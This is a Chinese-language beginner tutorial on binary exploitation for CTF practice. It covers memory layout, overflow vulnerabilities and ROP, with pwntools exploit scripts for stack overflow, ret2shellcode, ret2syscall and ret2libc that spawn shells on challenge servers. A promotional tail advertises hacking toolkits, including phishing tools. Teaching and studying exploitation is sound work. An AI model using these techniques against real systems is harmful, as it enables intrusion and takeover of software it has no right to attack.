【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了PWN 是一个黑客之间使用的词语 通常指攻破设备或系统

大家好,欢迎来到IT知识分享网。

一、什么是PWN

二、常见PWN漏洞

  • 栈溢出(Stack Overflow)

栈溢出是一种常见的安全漏洞,它利用了程序在执行过程中使用的栈内存空间有限的特性。栈是一种数据结构,用来存储函数的局部变量、函数的参数以及函数调用的返回地址等信息。栈的特点是先进后出,即最后进入栈的数据最先被访问到。当攻击者向程序输入过多的数据时,这些数据会超出栈内存所能容纳的范围,从而覆盖了栈中的其他数据,甚至覆盖了函数返回地址。一旦返回地址被篡改,程序就会跳转到攻击者指定的代码执行,从而实现任意代码执行的攻击。

  • 堆溢出(Heap Overflow)

堆溢出是另一种内存溢出漏洞,但与栈溢出不同,它发生在程序的堆内存区域。堆是用来动态分配内存的区域,程序员可以请求分配任意大小的内存块,并在程序运行期间随时释放它们。堆溢出通常是由于程序在写入数据时超出了申请的内存块大小,导致数据覆盖了相邻的内存块。

  • 整数溢出(Integer Overflow)

整数溢出发生在将一个较大的整数赋值给一个较小范围的整数变量时,导致数据超出该变量的存储范围并发生溢出。这种溢出可能导致数据被截断、覆盖或产生不正确的计算结果。攻击者可以利用整数溢出漏洞来绕过安全限制、绕过认证机制或执行其他恶意操作。

  • 格式化字符串漏洞(Format String Vulnerability)

格式化字符串漏洞通常发生在C语言等编程语言中,当程序不正确地处理格式化字符串函数(如printf、sprintf等)的输入时。攻击者可以通过构造特制的格式化字符串来读取或写入任意内存地址的数据,甚至执行任意代码。

  • ROP(Return-oriented Programming)

ROP是一种利用程序中的现有代码片段(称为“gadgets”)来执行攻击者意图的技术。在启用了某些安全保护(如NX位、ASLR等)的环境中,传统的栈溢出攻击可能难以直接执行shellcode。ROP通过覆盖返回地址为程序中的某个gadget的地址,并利用一系列这样的gadgets来构建攻击载荷,最终实现攻击者的目标。

三、PWN环境搭建

  1. 安装pwntools模块
sudo apt-get install python3-pip``pip3 install pwntools 

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

  1. 安装gdb工具和gef插件
sudo apt-get install gdb``sudo git clone https://github.com/hugsy/gef``cp gef/gef.py ~/.gdbinit-gef.py``echo source ~/.gdbinit-gef.py > ~/.gdbinit 

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

  1. 安装qemu模拟器
sudo apt-get install qemu``sudo apt-get install qemu-system qemu-user qemu-user-static binfmt-support 
  1. 安装依赖和模块
sudo apt-get install gcc-arm-linux-gnueabi``sudo apt install gcc-mipsel-linux-gnu``sudo apt install gcc-mips-linux-gnu``sudo apt-get install gdb-multiarch``pip3 install ropgadget``pip3 install ropper 

四、PWN基础讲解

1. Linux内存布局

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

  1. 栈段(Stack):用于存放非静态的局部变量、函数调用过程的栈帧信息等,地址空间向下生长,由编译器自动分配和释放,栈大小在运行时由内核动态调整,栈动态增长后就不会再收缩。
  2. 内存映射段(Memory Mapping Segment):也称为文件映射区和匿名映射区,加载的动态库、打开的文件等均映射到该区域。
  3. 堆段(Heap):运行时可动态分配的内存段,向上生长,由用户进行申请和释放等管理操作。
  4. BSS段(BSS segment):具有读写权限,用于存放初始值为0或未初始化的全局变量、静态变量,这块内存会由操作系统初始化为0。
  5. 数据段(Data segment):具有读写权限,用于存放初始值非0的全局变量、静态变量。
  6. 代码段(Text segment):具有只读权限,用于存放可执行程序、字符串、只读变量等。如定义的const变量、printf函数的格式化字符串等。

2. 经典栈溢出

2.1. 栈说明

栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。在栈中,esp保存栈帧的栈顶地址,ebp保存栈帧的栈底地址。程序的栈是从进程地址空间的高地址向低地址增长的。

2.2. 栈溢出原理

2.3. 简单栈溢出利用

from pwn import *` `p = remote("challenge-5ed622b3b63a7e82.sandbox.ctfhub.com",28525)``#/bin/sh的地址``shell_addr = 0x04007B8``#生成0x70+8个垃圾数据覆盖参数和ebp,然后把/bin/sh的地址写入返回地址``payload = b'a' * (0x70+8) + p64(shell_addr)` `p.sendline(payload)``p.interactive() 

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了
总结栈溢出漏洞利用两个重要步骤:

  1. 寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)
  2. 确定填充长度,计算要操作的地址与要覆盖的地址的距离

3. 常见ROP栈溢出利用

3.1. ret2shellcode

from pwn import *``context(os='linux', arch='amd64', log_level='debug')``#用pwntools生成shellcode``shellcode = asm(shellcraft.sh())``p = remote('219.219.61.234',49544)``p.recvline()``#把shellcode写入buf``p.sendline(shellcode)``p.recvline()``#计算偏移,栈溢出到buf``payload = b'a' * (0x30+8) + p64(0x)``p.sendline(payload)``p.interactive() 

3.2. ret2syscall

from pwn import *``p = process('./rop')``pop_eax_ret = 0x080bb196``pop_ebx_ecx_edx_ret = 0x0806eb90``sh = 0x080be408``int_0x80 = 0x0``payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ecx_edx_ret) + p32(0) + p32(0) + p32(sh) + p32(int_0x80)``p.sendline(payload)``p.interactive() 

3.3. ret2libc

from pwn import *`` ``elf = ELF('./pwn')``libc = ELF('./libc-2.31.so')``#p = process('./pwn')``p = remote('node4.buuoj.cn',25948)`` ``#puts的plt表与got表地址``puts_plt = elf.plt['puts']` `puts_got = elf.got['puts']`` ``#libc中puts、system、/bin/sh的地址``libc_puts = libc.symbols['puts']``libc_system = libc.symbols['system']``libc_sh = libc.search(b'/bin/sh').__next__()`` ``pop_ret_rdi = 0x``main = 0x``ret = 0x40050e`` ``p.recvuntil(b'time?\n')``#64位的payload构成:栈溢出+pop rdi地址+泄露函数的got表地址+泄露函数的plt地址+ret指令(这里ret回main函数是为了跳回程序开头重新执行程序)``payload = b'a' * (0x20+8) + p64(pop_ret_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)``p.sendline(payload)`` ``#直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00``#\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的``#32位u32(r.recv()[0:4])``puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #puts函数的真实地址``#偏移``base = puts_addr - libc_puts``#真实的system和/bin/sh地址``system_addr = base + libc_system``sh_addr = base + libc_sh`` ``payload = b'a' * (0x20+8) + p64(ret) + p64(pop_ret_rdi) + p64(sh_addr) + p64(system_addr)``p.sendline(payload)``p.interactive() 

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

【二进制安全】PWN基础入门大全(非常详细)零基础入门到精通,收藏这一篇就够了

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/121915.html

(0)
上一篇 2025-10-20 18:15
下一篇 2025-10-20 18:26

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信